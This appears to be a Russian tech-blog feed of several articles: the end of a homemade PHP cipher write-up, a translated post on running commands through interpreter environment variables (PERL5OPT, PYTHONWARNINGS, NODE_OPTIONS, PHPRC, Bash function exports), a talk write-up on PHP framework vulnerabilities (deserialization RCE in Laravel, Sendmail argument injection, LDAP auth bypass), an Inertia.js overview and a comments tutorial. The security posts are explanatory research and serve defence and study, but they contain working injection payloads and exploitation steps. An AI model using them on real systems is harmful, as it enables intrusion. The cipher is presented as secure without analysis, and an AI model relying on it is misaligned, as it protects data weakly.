public function codeMessage($message, $generateKey, $user1_pass, $receiver_hashcode)    {        $sender_hashcode = $this->sender_hashcode($user1_pass);        $attach_key = $this->attachKey($message, $this->salt);        $path_key_signature = $this->pathKeySignature($sender_hashcode, $receiver_hashcode, $attach_key);        $result_cipher = $this->cipher($path_key_signature, $message, $generateKey) . $attach_key;        $result_cipher = base64_encode($result_cipher);        return gzencode($result_cipher, 9);    }

Возможно, возникнет резонный вопрос. Почему бы не ограничиться в функции пути обхода просто одним attachKey, для чего добавлять туда хешкоды отправителя и получателя? Ответ находится тут же, "рядом" attachKey расположен фактически на виду в создаваемом шифре, и зная его, не составляет труда реконструировать последовательность прохождения ключа при шифре. Сам секретный ключ это, разумеется, напрямую восстановить не даст, но сведет на нет всю идею "рандомизации" ключа. Поэтому, нужен дополнительный фактор, которым являются хешкоды получателей. Они представляют собой своего рода второй секретный элемент алгоритма помимо ключа. Этакое своего рода двухфакторное шифрование.


Метод decodeMessage детально рассматривать не будем, он практически тривиален, если учитывать полную симметричность с методом шифрования только в обратной последовательности.


Алгоритм выглядит вполне законченным, по крайней мере для некоего теоретического эксперимента.
Плюсы:


  • Относительно быстр по скорости шифрования/дешифрования (об этом ниже)
  • Прост и понятен
  • Открыт для изучения и улучшения, ибо опенсорс

Минусы:


  • (скорее обстоятельство, чем недостаток) Требуется детальный анализ, чтобы понимать насколько он криптографически стоек.

В двух словах по поводу тестирования.
По скорости работы алгоритма относительно быстр (разумеется, все относительно и познается в сравнении, речь о скорости шифрования в рамках высокоуровнего яп вообще и в рамках php в частности). 2 мегабайта рандомного текста было зашифровано и расшифровано за 4 секунды, использовался при этом php 7.2. Система: Intel Core i7-8700 CPU @ 3.20GHz 12, параллельно еще работал браузер с кучей вкладок и виртуальная машина. Резюме скорость шифрования ~ 1 мб/сек на среднестатистическом железе на php7.0 и выше.

Подробнее..

Перевод Трюки с переменными среды

17.07.2020 08:05:27 | Автор: admin
Интересные переменные среды для загрузки в интерпретаторы скриптовых языков

Вступление


В недавнем хакерском проекте мы получили возможность указывать переменные среды, но не выполняемый процесс. Мы также не могли контролировать содержимое файла на диске, а брутфорс идентификаторов процессов (PID) и файловых дескрипторов не дал интересных результатов, исключив удалённые эксплоиты LD_PRELOAD. К счастью, исполнялся интерпретатор скриптового языка, который позволял нам выполнять произвольные команды, задавая определённые переменные среды. В этом блоге обсуждается, как произвольные команды могут выполняться рядом интерпретаторов скриптового языка при вредоносных переменных среды.

Perl


Беглое чтение раздела ENVIRONMENT справочной страницы perlrun(1) показывает множество переменных среды, достойных изучения. Переменная среды PERL5OPT позволяет задавать параметры командной строки, но ограничивается только принятием параметров CDIMTUWdmtw. К сожалению, это означает отсутствие -e, которая даёт загружать код perl для запуска.

Однако не всё потеряно, как показано в эксплоите для CVE-2016-1531 от Hacker Fantastic. Эксплоит записывает вредоносный модуль perl в файл /tmp/root.pm и предоставляет переменные среды PERL5OPT=-Mroot и PERL5LIB=/ tmp для выполнения произвольного кода. Однако это был эксплоит для локальной уязвимости эскалации привилегий, а общий метод в идеале не должен требовать доступа к файловой системе. Глядя на эксплоит от blasty для того же CVE, он не требовал создания файла, использовал переменные среды PERL5OPT=-d и PERL5DB=system("sh");exit;. Те же переменные были использованы для решения задачи CTF в 2013 году.

Последняя тонкость универсального метода заключается в использовании одной переменной среды вместо двух. @justinsteven обнаружил, что это возможно с помощью PERL5OPT=-M. В то время как для загрузки модуля perl можно использовать либо -m, либо -M, но опция -M позволяет добавлять дополнительный код после имени модуля.

Доказательство концепции


Пример 0: Выполнение произвольного кода с помощью переменной среды против perl, выполняющего пустой скрипт (/dev/null)
$ docker run --env 'PERL5OPT=-Mbase;print(`id`)' perl:5.30.2 perl /dev/nulluid=0(root) gid=0(root) groups=0(root)

Python


Судя по разделу ENVIRONMENT VARIABLES в манах по python(1), PYTHONSTARTUP изначально выглядит как простое решение. Он позволяет указать путь к скрипту Python, который будет выполнен до отображения приглашения в интерактивном режиме. Требование к интерактивному режиму не казалось проблемой, поскольку переменная среды PYTHONINSPECT может использоваться для входа в интерактивный режим, так же как и -i в командной строке. Однако документация для опции -i объясняет, что PYTHONSTARTUP не будет использоваться, когда python запускается со скриптом для выполнения. Это означает, что PYTHONSTARTUP и PYTHONINSPECT не могут быть объединены, а PYTHONSTARTUP имеет эффект только тогда, когда Python REPL немедленно запускается. Это в конечном счете означает, что PYTHONSTARTUP нежизнеспособен, так как не имеет никакого эффекта при выполнении обычного скрипта Python.

Многообещающе выглядели переменные среды PYTHONHOME и PYTHONPATH. Обе позволяют произвольное выполнение кода, но требуют, чтобы вы также могли создавать каталоги и файлы в файловой системе. Возможно, удастся ослабить эти требования с помощью виртуальной файловой системы /proc и/или ZIP-файлов.

Большинство остальных переменных среды просто проверяются на непустую строку, и если да, то включают в целом доброкачественную настройку. Одним из редких исключений является PYTHONWARNINGS.

Работа с помощью PYTHONWARNINGS


В документации для PYTHONWARNINGSговорится, что это эквивалентно указанию параметра -W. Параметр -W используется для управления предупреждениями, чтобы указать предупреждения и как часто их выводить. Полная форма аргумента action:message:category:module:line. Хотя контроль предупреждений не казался многообещающей зацепкой, это быстро изменилось после проверки реализации.

Пример 1: Python-3.8.2/Lib/warnings.py
[...]def _getcategory(category):    if not category:        return Warning    if '.' not in category:        import builtins as m        klass = category    else:        module, _, klass = category.rpartition('.')        try:            m = __import__(module, None, None, [klass])        except ImportError:            raise _OptionError("invalid module name: %r" % (module,)) from None[...]

Этот код показывает, что пока наша указанная категория содержит точку, мы можем запустить импорт произвольного модуля Python.

Следующая проблема в том, что подавляющее большинство модулей из стандартной библиотеки Python при импорте выполняют очень мало кода. Они обычно просто определяют классы, которые будут использоваться позже, и даже когда они предоставляют код для запуска, код обычно защищён проверкой переменной __main__ (чтобы определить, был ли файл импортирован или запущен напрямую).

Неожиданным исключением из этого правила является модуль antigravity. Разработчики Python в 2008 году включили пасхальное яйцо, которое можно вызвать запуском import antigravity. Этот импорт немедленно откроет в вашем браузере комикс xkcd с шуткой, что импорт антигравитации в Python даёт возможность летать.

Что касается того, как модуль antigravity открывает ваш браузер, он использует другой модуль из стандартной библиотеки под названием webbrowser. Этот модуль проверяет ваш PATH для большого разнообразия браузеров, включая mosaic, opera, skipstone, konqueror, chrome, chromium, firefox, links, elinks и lynx. Он также принимает переменную среды BROWSER с указанием, какой процесс выполнить. Процессу в переменной среды нельзя предоставить аргументы, а URL-адрес комикса xkcd является единственным жёстко закодированным аргументом для команды.

Возможность превратить это в выполнение произвольного кода зависит от того, какие другие исполняемые файлы доступны в системе.

Использование Perl для выполнения произвольного кода


Один из подходов заключается в использовании Perl, который обычно установлен в системе и даже доступен в стандартном докеровском образе Python. Однако нельзя использовать бинарник perl сам по себе, потому что первым и единственным аргументом является URL-адрес комикса xkcd. Данный аргумент вызовет ошибку, а процесс завершится без использования переменной среды PERL5OPT.

Пример 2: PERL5OPT не оказывает никакого эффекта, когда URL передаётся в perl
$ docker run -e 'PERL5OPT=-Mbase;print(`id`);exit' perl:5.30.2 perl https://xkcd.com/353/Can't open perl script "https://xkcd.com/353/": No such file or directory

К счастью, когда Perl доступен, также часто доступны сценарии Perl по умолчанию, такие как perldoc и perlthanks. Эти скрипты также будут завершаться с ошибкой и недопустимым аргументом, но ошибка в этом случае происходит позже, чем обработка переменной среды PERL5OPT. Это означает, что вы можете использовать полезную нагрузку переменной среды Perl, подробно описанную ранее в этом блоге.

Пример 3: PERL5OPT работает как положено с perldoc и perlthanks
$ docker run -e 'PERL5OPT=-Mbase;print(`id`);exit' perl:5.30.2 perldoc https://xkcd.com/353/uid=0(root) gid=0(root) groups=0(root)$ run -e 'PERL5OPT=-Mbase;print(`id`);exit' perl:5.30.2 perlthanks https://xkcd.com/353/uid=0(root) gid=0(root) groups=0(root)

Доказательство концепции


Пример 4: Выполнение произвольного кода с использованием нескольких переменных среды с Python 2 и Python 3
$ docker run -e 'PYTHONWARNINGS=all:0:antigravity.x:0:0' -e 'BROWSER=perlthanks' -e 'PERL5OPT=-Mbase;print(`id`);exit;' python:2.7.18 python /dev/nulluid=0(root) gid=0(root) groups=0(root)Invalid -W option ignored: unknown warning category: 'antigravity.x'$ docker run -e 'PYTHONWARNINGS=all:0:antigravity.x:0:0' -e 'BROWSER=perlthanks' -e 'PERL5OPT=-Mbase;print(`id`);exit;' python:3.8.2 python /dev/nulluid=0(root) gid=0(root) groups=0(root)Invalid -W option ignored: unknown warning category: 'antigravity.x'

NodeJS


Михал Бентковски в своём блоге выложил полезную нагрузку для эксплоита Kibana (CVE-2019-7609). Прототип уязвимости с загрязнением был использован для установки произвольных переменных среды, которые приводили к произвольному выполнению команд. Полезная нагрузка от Михала использовала переменную среды NODE_OPTIONS и файловую систему proc, в частности, /proc/self/environ.

Хотя техника Михала творческая и отлично подходит в его случае, она не всегда гарантированно работает и имеет некоторые ограничения, которые было бы неплохо устранить.

Первое ограничение заключается в том, что он использует /proc/self/environ только в том случае, если содержимое можно сделать синтаксически допустимым JavaScript. Для этого необходимо иметь возможность создать переменную среды и заставить её появиться сначала в содержимом файла /proc/self/environ или знать/сбрутить имя переменной среды, которое появится первым, и перезаписать её значение.

Ещё одно ограничение в том, что значение первой переменной среды заканчивается однострочным комментарием (//). Поэтому любой символ новой строки в других переменных среды, скорее всего, вызовет синтаксическую ошибку и предотвратит выполнение полезной нагрузки. Использование многострочных комментариев (/*) не исправит проблему, так как они должны быть закрыты, чтобы быть синтаксически корректными. Поэтому в редких случаях, когда переменная среды содержит символ новой строки, необходимо знать/сбрутить имя переменной среды и перезаписать её значение на новое значение, которое не содержит новой строки.

Устранение этих ограничений оставим в качестве упражнения для читателя.

Доказательство концепции


Пример 5. Выполнения произвольного кода с переменными среды против NodeJS Михала Бентковски
$ docker run -e 'NODE_VERSION=console.log(require("child_process").execSync("id").toString());//' -e 'NODE_OPTIONS=--require /proc/self/environ' node:14.2.0 node /dev/nulluid=0(root) gid=0(root) groups=0(root)

РНР


Если запустить ltrace -e getenv php /dev/null, то вы обнаружите, что PHP использует переменную среды PHPRC. Переменная среды используется при попытке найти и загрузить конфигурационный файл php.ini. Эксплоит от neex для CVE-2019-11043 использует ряд параметров PHP, чтобы добиться выполнения произвольного кода. У Orange Tsai также есть отличный пост о создании собственного эксплоита для того же CVE, который использует немного другой список настроек. Используя эти знания, а также знания, полученные из предыдущей техники NodeJS, и некоторую помощь Брендана Скарвелла, было найдено решение для PHP с двумя переменными среды.

Для этого метода существуют те же ограничения, что и для примеров NodeJS.

Доказательство концепции


Пример 6: Выполнения произвольного кода с переменными среды против PHP
$ docker run -e $'HOSTNAME=1;\nauto_prepend_file=/proc/self/environ\n;<?php die(`id`); ?>' -e 'PHPRC=/proc/self/environ' php:7.3 php /dev/nullHOSTNAME=1;auto_prepend_file=/proc/self/environ;uid=0(root) gid=0(root) groups=0(root)

Ruby


Универсальное решение для Ruby пока не найдено. Ruby действительно принимает переменную среды RUBYOPT для указания параметров командной строки. На man-странице говорится, что RUBYOPT может содержать только -d, -E, -I, -K, -r, -T, -U, -v, -w, -W, --debug, --disable-FEATURE и --enable-FEATURE. Наиболее перспективным вариантом является -r, который заставляет Ruby загружать библиотеку с помощью require. Однако это ограничивается файлами с расширением .rb или .so.

Найденный пример относительно полезного файла .rb это tools/server.rb из gem'а json, который доступен после установки Ruby в системах Fedora. Когда требуется этот файл, запускается веб-сервер, как показано ниже:

Пример 7: Использование переменной среды RUBYOPT для запуска процесса ruby и старта веб-сервера

$ docker run -it --env 'RUBYOPT=-r/usr/share/gems/gems/json-2.3.0/tools/server.rb' fedora:33 /bin/bash -c 'dnf install -y ruby 1>/dev/null; ruby /dev/null'Surf to:http://27dfc3850fbe:6666[2020-06-17 05:43:47] INFO  WEBrick 1.6.0[2020-06-17 05:43:47] INFO  ruby 2.7.1 (2020-03-31) [x86_64-linux][2020-06-17 05:43:47] INFO  WEBrick::HTTPServer#start: pid=28 port=6666

Другой подход в Fedora заключается в том, чтобы использовать тот факт, что /usr/bin/ruby на самом деле является скриптом Bash, который запускает /usr/bin/ruby-mri. Скрипт вызывает функции Bash, которые могут быть перезаписаны переменными среды.

Доказательство концепции


Пример 8: Использование экспортированной функции Bash для выполнения произвольной команды
$ docker run --env 'BASH_FUNC_declare%%=() { id; exit; }' fedora:33 /bin/bash -c 'dnf install ruby -y 1>/dev/null; ruby /dev/null'uid=0(root) gid=0(root) groups=0(root)

Заключение


В этом посте были рассмотрены интересные случаи использования переменных среды, которые могли бы помочь в достижении произвольного выполнения кода с помощью различных интерпретаторов скриптового языка, не записывая файлы на диск. Надеюсь, вам понравилось читать и вам захотелось найти и поделиться улучшенные полезные нагрузки для этих и других скриптовых языков. Если найдёте универсальную технику, которая работает против Ruby, будет очень интересно услышать о ней.
Подробнее..

Уязвимости PHP-фреймворков

23.07.2020 08:17:50 | Автор: admin


10 июня компания Digital Security провела онлайн-встречу по информационной безопасности Digital Security ON AIR. Записи докладов можно посмотреть на Youtube-канале.


По материалам докладов мы выпустим цикл статей, и первая из них об уязвимостях PHP-фреймворков уже ждет под катом.


Что такое MVC


Большинство PHP фреймворков использует MVC Model-View-Controller концепцию разделения проекта на три отдельных компонента:


  • модели, отвечающие за данные;
  • представления, отвечающие за интерфейс;
  • контроллеры, отвечающие за логику.

image


Компоненты независимы друг от друга, то есть внесение изменений в один из них не затронет другие.


Полезные уязвимости в PHP


Итак, что же искать в типичном проекте, созданном на PHP-фреймворке? Искать нужно все! Как ни удивительно, встретить можно любую уязвимость, так как ответственность за безопасность лежит в большей степени на разработчике проекта. Прежде всего нужно проверить, не включен ли режим отладки (исследователю это будет на руку; но если вы забыли выключить его на своем сайте, то поспешите это сделать). Режим отладки сильно поможет как в дальнейшем поиске уязвимостей, так и в их эксплуатации. Кроме режима отладки в любом проекте на PHP обязательно используются операторы сравнения для описания логики приложения. И тут скрывается еще одна уязвимость, типичная для PHP.


Речь идет о type juggling. Она возникает, когда в коде используется оператор сравнения == вместо ===. Оператор сравнения == сравнивает объекты в PHP по-особому, предварительно преобразовывая типы данных, из-за чего логика при сравнении пользовательских данных может быть нарушена. Например, можно войти под учетной записью администратора, используя пароль null. Оператор сравнения === сравнивает объекты без преобразования типов, рекомендуется использовать его в качестве основного оператора сравнения. Примеры сравнения приведены в табличке ниже из доклада о type juggling от OWASP.



Рекомендую ознакомиться и с самим докладом, чтобы подробнее узнать об уязвимости.


Не менее распространенная уязвимость, из-за которой возможны большинство RCE, это десериализация потенциально опасных данных. Дело в том, что в PHP можно сериализовать любой объект преобразовать объект в строку, из которой его можно восстановить. Для восстановления строчку нужно десериализовать с помощью функции unserialize(). Уязвимость возникает, когда на вход этой функции подаются данные, контролируемые пользователем. Так он может собрать цепочку из классов, которые приведут к выполнению кода или чтению файлов на сервере. Тут стоит упомянуть phpggc сборник уже готовых гаджетов (gadgetchains, цепочек из классов) для популярных PHP-фреймворков. Узнать больше об эксплуатации десериализации можно из доклада Павла Топоркова.


Каждый фреймворк состоит из набора пакетов, которые нужно как-то компоновать. На помощь приходит Composer, управляющий всеми зависимостями, который используется во всех фреймворках и сильно упрощает жизнь: все зависимости прописаны в одном файле composer.json. Все зависимые пакеты можно проверить на уязвимости с помощью сайта snyk.io просто передав ему composer.json. Также можно проверить только PHP-уязвимости с помощью специального инструмента Security Checker.


Laravel


Перейдем к главному к анализу PHP-фреймворков. Самым популярным PHP-фреймворком считается Laravel: он очень простой и достаточно безопасный сам по себе. Вся его логика описана в контроллерах. Middleware находится рядом с контроллерами и нужна для проверки шаблонных условий: например, является ли пользователь администратором или является ли введенный e-mail валидным. Также middleware может лежать в kernel.php. Все маршруты лежат в одной папке. Web маршруты лежат в web.php, а api маршруты в api.php. Представления лежат в отдельной папке и обычно являются blade-шаблонами. Конфигурационный файл сайта находится в корне, в файле .env. В нем хранятся учетные данные от базы данных и APP_KEY, включается режим отладки и прописываются другие настройки сервера.


Всего было найдено четыре довольно критичных уязвимости в Laravel:


  • CVE-2017-9303 специфичная утечка учетных данных;
  • CVE-2017-16894 утечка файла .env через прямое обращение к нему (http://example.com/.env);
  • CVE-2018-6330 error-based SQLI в GET-параметре dhx_user (пример вызова версии базы данных представлен на рисунке ниже);
  • CVE-2018-15133 полноценная RCE через десериализацию хедера.

Рассмотрим возможность получения RCE.



В качестве примера был создан блог, уязвимый к этой CVE. Эксплуатация данной уязвимости возможна при соблюдении двух условий: нужно знать APP_KEY из .env, и сервер должен принимать POST-запросы. Если версия Laravel очень старая, то можно воспользоваться имеющейся уязвимостью CVE-2017-16894 и достать .env (http://example.com/.env). Второй способ вызвать ошибку, чтобы перейти в режим отладки, и из него получить необходимый APP_KEY. Далее генерируем заголовок со встроенной полезной нагрузкой. Если отправить POST запрос на сервер с таким заголовком, то полезная нагрузка десериализуется на сервере, что спровоцирует выполнение кода. В данном случае выполнится команда, которую мы первым аргументом передали в скрипт. Скрипт состоит из двух частей: скрипта подписи заголовка, доступного по ссылке, и phpggc-модуля, с помощью которого генерируется полезная нагрузка. Остается отправить POST-запрос с этим заголовком и получить результат выполнения команды на сервере.


Symfony


В PHP-фреймворке Symfony маршруты располагаются в директории config. Контроллеры находятся в директории src, представления в директории templates.


У Symfony на cvedetails можно найти наибольшее количество CVE по сравнению с другими фреймворками. Среди них есть и пара очень старых RCE. Одна возможна из-за того, что при эксплуатации XSS в тэге script в параметре language можно указать язык PHP, и тогда PHP-код, указанный внутри тэга, выполнится на сервере. Вторая RCE, еще более старая, позволяет поместить PHP-код в специально сконфигурированный yaml-файл. При парсинге yaml-файла PHP-код выполнится на сервере.


Интересна история с обходом аутентификации. Сразу оговоримся, что CVE 2016 и 2018 года относятся к одному и тому же модулю аутентификации через LDAP. В 2016 году обнаружили, что процесс аутентификации можно обойти, используя пустой пароль (CVE-2016-2403). Уязвимость исправили, но допустили ошибку.



В 2017 году в другом модуле аутентификации нашли ту же проблему (CVE-2017-11365). В этот раз действительно исправили: введенный пользователем пароль сверяется не только с пустой строкой, но и с null. Это необходимо, потому что в языке PHP null не считается за пустую строку.



В 2018 году все-таки нашли ошибку в исправлении 2016 года (да-да, и такое бывает), которая позволяла обойти аутентификацию с помощью null, и закрыли ее (CVE-2018-11407).



Вот так можно было 2 года обходить LDAP с помощью null.


За последний год нашли еще несколько разнообразных уязвимостей на любой вкус. Некоторые из них легко эксплуатировать, например, уязвимости, заключающиеся в возможности header injection. Другие например RCE эксплуатировать довольно-таки сложно. Они новые, и модулей для них в phpggc нет, а работать с классами во фреймворках надо уметь. Так что если встретились с Symfony, уязвимым к этим багам, желаю удачи :)


Yii


Перейдем к фреймворку Yii. У него все не так, как у других, поэтому рассмотрим его более внимательно.


В Yii помимо типичных для MVC моделей, представлений и контроллеров, есть виджеты, модули и фильтры. Модули это законченные приложения со своими данными, интерфейсами, логикой. В отличие от самих приложений, модули не могут быть развернуты отдельно: они должны находиться внутри приложений.



Фильтр та же middleware, которая используется для шаблонных действий. Например, чтобы проверить, является ли пользователь администратором или является ли введенный e-mail валидным. Виджеты служат для создания сложных настраиваемых элементов пользовательского интерфейса. Например, с помощью виджета можно сгенерировать интерфейс выбора дат. Кроме того, в Yii нет конкретного файла с маршрутами. Все дело в том, что он сам строит маршрутизацию внутри сайта, используя контроллеры и действия. Соответственно, нам нужно либо вручную искать все контроллеры и все действия, либо писать чудо-скрипт, который сгенерирует файлик с маршрутами.


Из уязвимостей следует отметить три CVE:


  • CVE-2014-4672 RCE, позволяющая выполнять любые PHP-методы;
  • CVE-2018-6010 утечка информации через ошибки;
  • CVE-2018-7269 SQLi.

Остановимся на первых двух поподробнее.



Утечка информации возникает, когда режим отладки выключен и исключения ловятся стандартной функцией. Так вышло, что при переходе на страницу About срабатывает исключение, режим отладки выключен, и мы не можем получить никакой дополнительной информации из этой ошибки. Но если на эту же страницу обратиться при помощи ajax-запроса, то внезапно мы получаем содержимое конфигурационного файла. Как же так? Все дело в том, что при ajax-запросе выдается сообщение, прописанное в исключении. Для наглядности мы поместили туда конфигурационный файл сайта. Однако, через такую уязвимость могут просочиться достаточно чувствительные данные (пароли или ключи), которые помогут при исследовании сайта.



Если вам повезло встретить проект, использующий Yii версии 1.1.14 и виджет CDetailView, в который передаются пользовательские данные, то вы сможете выполнять любой метод на сервере. На Github'е пишут, что таким образом можно выполнить любой PHP-файл в системе, но когда я попробовал это сделать, он не проходил условие, прописанное в функции run класса CDetailView, если не был явно подключен в коде.


$value=is_callable($attribute['value']) ? call_user_func($attribute['value'],$this->data) : $attribute['value'];

Так мы передаем название класса и метода в запросе и видим содержимое конфигурационного файла сайта при помощи заранее добавленной секретной функции. Это все происходит потому, что параметр value проверяется функцией is_callable(), и если результат сравнения положительный, то он вызывается функцией call_user_func().


CakePHP


Фреймворк CakePHP структурно мало чем отличается от Laravel. Понятно, где искать модели, представления и контроллеры.


В нем так бы и были только лишь древние уязвимости (CVE-2010-4335, CVE-2012-4399), если бы не недавняя CVE-2019-11458 на десериализацию, при помощи которой можно перезаписывать файлы на сервере. Гаджетов пока что нет, поэтому будем ждать обновления phpggc.


Codeigniter


И, наконец, Codeigniter. Структура приложения понятная, все компоненты находятся на своих местах.


Из интересных уязвимостей можно выделить две старых (CVE-2014-8684, CVE-2016-10131) и одну относительно новую (CVE-2017-1000247). Первая из них настолько старая, что для нее есть модуль для Metasploit. Вторая встречается не только в этом фреймворке, но и во многих других PHP-фреймворках и PHP-приложениях. Более свежая CVE 2017 года обычная header injection в функции set_status_header(). Рассмотрим поподробнее две старые уязвимости.



Первая уязвимость связана с сессией: зная ключ шифрования можно расшифровать cookie-файл и поставить себе права админа. Кроме того, можно загрузить полезную нагрузку, которая выполнится на сервере. Все это возможно из-за слабой криптографии (всего лишь XOR) и использования дефолтного ключа во многих проектах. В данном случае, эксплуатируя уязвимость, мы получаем права админа.



В этом примере рассмотрим вторую уязвимость в функции mail(). Она передает параметры в программу Sendmail, пятый аргумент которой опционален. Этим пятым аргументом в нее можно передать адрес отправителя, чтобы почтовый сервер получил сообщение об ошибке, если сообщение не будет доставлено. Но передает он его в Sendmail с помощью флага -f, благодаря чему можно вставить через пробел свои аргументы и получить RCE. Существует много техник эксплуатации, но обычно используется два основных метода. В первом случае при помощи флага -С (использовать другой конфигурационный файл) читаем содержимое любого файла на сервере; его можно сохранить в какой-нибудь файл при помощи флага -Х (записывать весь траффик). Это нужно для того, чтобы открыть файл напрямую через сайт, записав содержимое файла в корень веб-сервера. Во втором случае с помощью флага -OQueueDirectory перемещаем письмо в очередь в указанную папку и сохраняем его полностью с PHP-кодом внутри тела письма. Далее выполняем его, например, добавив в корень веб-сервера.


Заключение


Подводя итог, стоит сказать, что PHP-фреймворки просты и лаконичны. Наиболее критичные уязвимости существуют в старых версиях фреймворков, так что необходимо регулярно обновлять их, иначе пентест продукта может сразу выявить парочку RCE. Я разобрал и перечислил далеко не все уязвимости, и далеко не во всех фреймворках. Кто знает, сколько еще удивительных уязвимостей они хранят в себе. Увлекательных пентестов!

Подробнее..

Inertia.js современный монолит

18.07.2020 16:04:37 | Автор: admin

Inertia современный монолит


Вы знаете, как пишутся SPA на Laravel? Если коротко, не очень удобно. Конечно, можно использовать любой фронтенд-фреймворк. Традиционно принято работать со связкой Laravel + Vue.js.


Мы пишем весь фронтенд на Vue.js в resources/js, а Laravel используем как API.


Примерно вот так:


Vue.js


// resources/js/pages/Users.vue<template>    <div v-for="user in users" :key="user.id">        <a :href="`/users/${user.id}`">          {{ user.name }}        </a>        <div>{{ user.email }}</div>    </div></template><script>    export default {        data() {            return {                users: []            }        },        methods: {            async loadUsers() {                const { data } = await this.$axios.get('/api/users');.                this.users = data;            }        },        async beforeMount() {            await this.loadUsers();        }    }</script>

Laravel


// routes/api.phpRoute::get('/users', function index(User $user) {    return $user->all();});

То есть сначала мы создаем на бэкенде эндпоинт, а затем на фронте получаем с него данные через AJAX-запрос.


Удобно ли это? Смотря для кого. Фронтендерам не привыкать. AJAX на сегодня самый классический способ получения данных с сервера. Но, если вы до этого много работали с Blade, вы понимаете, насколько это больше телодвижений.


Хотелось бы как с Blade, просто вернуть страницу уже с массивом данных, доступном на фронте как переменные:


return view('users', [    'users' => $user->all()]);

Какая разница? Она заметна, если нам нужно добавить еще какую-нибудь информацию во фронтенд-компонент. С Blade мы просто добавляем новую пару ключ-значение в массив данных. Но если Laravel это просто API, нам нужно по-хорошему создавать отдельный эндпоинт. И т.д. и т.п.


От этого неудобства нас избавляет библиотека Inertia.js. С её помощью мы можем писать своё приложение так, будто бы мы пишем всё на Blade. Однако вместо него на стороне фронта использовать любимый фреймворк Vue, React или Svelte.


Кроме Laravel, Inertia.js также может работать с бэкендом на Rails. И это только официально. Сторонние разработчики также добавляют поддержку других фреймворков и библиотек (например, Symfony или Yii2).


Далее все примеры будут на Vue.js и Laravel. Но при этом держите в уме, что всё это же можно делать и с другими вышеуказанными библиотеками.

Теперь на стороне сервера мы пишем


return Inertia::render('Users', [    'users' => $user->all()]);

А на фронте получаем данные как props.


props: {  users: Array,},

Круто! Но это еще не всё.


Киллер-фича 2: Роутеры (Vue Router, React Router) больше не нужны. Теперь все страницы это записи в routes и Vue-компоненты в папке resources/js/Pages (название папки кастомизируется). Всё, как с Blade, единственное, теперь вместо component.blade.php у вас Component.vue.


Ну и моё любимое: валидация на сервере. Больше не нужно отправлять ошибки AJAX-ом, а потом парсить их на фронте, где-то сохранять и таскать оттуда. Теперь можно просто расшарить ошибки из сессии в AppServiceProvider


Inertia::share([    'errors' => function () {        return Session::get('errors')            ? Session::get('errors')->getBag('default')->getMessages()            : (object) [];    },]);

и получать их во Vue-компонентах как $page.errors.


<div v-if="$page.errors.first_name">{{ $page.errors.first_name[0] }}</div>

Тоже самое для уведомлений и любых других общих для всех компонентов данных.


При этом, данные можно шарить как синхронно (как в примере выше), так и "лениво", просто передавая в массив вместо самих данных колбэк, который их возвращает.


Inertia::share([    // Синхронно    'app' => [        'name' => Config::get('app.name')    ],    // Лениво    'auth' => function () {        return [            'user' => Auth::user() ? [                'id' => Auth::user()->id,                'first_name' => Auth::user()->first_name,                'last_name' => Auth::user()->last_name,            ] : null        ];    }]);

Чтобы начать пользоваться, переходим в документации на страницу установки, выбираем нужные адаптеры один для фронта, другой для бэка и просто следуем инструкциям (1, 2).


Кстати, документация очень небольшая и удобная, всё наглядно и понятно, есть примеры на всех официально поддерживаемых фреймворках. Есть даже демо-приложение для того, чтобы посмотреть на всё в работе.


Я рассказал только об основных возможностях этой библиотеки. Тем не менее, если вы всё еще не впечатлены, я не знаю, как еще я могу вас удивить. Про остальные фишки вы можете узнать в той же документации. Среди них, удобная работа с ошибками в ходе разработки, кэширование локального состояния компонента и другие.


Но как и в любой бочке мёда, тут есть своя ложка дегтя.


Во-первых, Inertia.js должен контролировать рендеринг. Это значит, что нельзя просто перевести какой-то конкретный компонент на Inertia.js, нужно переносить всё приложение. По крайней мере, весь инстанс (если у вас микрофронтенды).


Во-вторых, тут нет Server-Side Rendering (SSR). Что, в принципе, неудивительно, ведь это просто прослойка между фронтом и бэком, а фронт как был SPA без SSR, так и остается. Но, возможно, эту функциональность добавят в будущем, разработчики говорят, что это возможно. Если вам кровь из носа нужен SSR, стоит посмотреть на бойца в противоположном углу ринга Livewire. Но про него как-нибудь в другой раз.


Ну и в-третьих, Inertia.js еще очень молодой проект. Последняя версия на момент написания статьи v0.1.9. Поэтому смотрите сами, хотите ли вы использовать его в продакшене.


Тем не менее, я советую всем web-разработчикам попробовать и оценить самим этот замечательный инструмент.

Подробнее..

Пишем комментарии для сайта на чистом PHP MySQL Ajax

05.08.2020 02:22:35 | Автор: admin
Привет всем! Недавно столкнулся с проблемой написания комментариев на сайте. Просмотрел весь интернет в поиске нормальных статей, по поводу написания комментариев на чистом PHP 7. Статьи были, но в основном либо устаревшие, либо не работающие уже совсем. Для написания комментариев Вам необходимо знать PHP 7, MySQL, JavaScript и Ajax. Приступим!



Front-End


Структура


Для начало создаем все нужные файлы и папки.


Далее создаем самую простую форму заполнения комментария.
В comments.php:
<!DOCTYPE html><html lang="ru"><head>  <title>Комментарии</title>  <link rel="stylesheet" href="http://personeltest.ru/aways/habr.com/css/style.css">  <meta http-equiv="content-type" content="text/html; charset=utf-8">  <script type="text/javascript" src="js/jquery-1.5.1.min.js"></script></head><body>  <form action="sendMessage.php" method="post" name="form">    <p class="is-h">Автор:<br> <input name="author" type="text" class="is-input" id="author"></p>    <p class="is-h">Текст сообщения:<br><textarea name="message" rows="5" cols="50" id="message"></textarea></p>    <input name="js" type="hidden" value="no" id="js">    <button type="submit" id='click' name="button" class="is-button">Отправить</button>  </form>  <div class="clear">  </div>  <p>Комментарии к статье</p>  <div id="commentBlock"><!-- Здесь будут высвечиваться комментарии -->  </div></body></html>


Работаем с БД


Подготовка Базы Данных


Сначала создадим нужную нам Базу Данных и таблицу:
Базу данных назовем test.
Далее создаем таблицу:
CREATE TABLE `test`.`messages` ( `id` INT(255) UNSIGNED NOT NULL AUTO_INCREMENT , `author` VARCHAR(30) NOT NULL , `message` TEXT NOT NULL , `date` VARCHAR(25) NOT NULL , PRIMARY KEY (`id`)) ENGINE = InnoDB CHARSET=utf8 COLLATE utf8_general_ci;

Она должна быть такой структуры:


Подключение к Базе Данных


Теперь подключимся к самой базе данных. Подключаться будем в отдельном файле, чтобы в дальнейшем каждый раз не подключаться.
В файле connect.php пишем:
<?php$mysql = new mysqli('localhost', 'login', 'password', 'test');?>

Вместо login и password вставляете свои значения (логин и пароль соответственно). Например у меня login root, и пароль root:
<?php$mysql = new mysqli('localhost', 'root', 'root', 'test');?>

test название нашей Базы Данных.

Пишем сам скрипт


Получение и обработка данных из полей


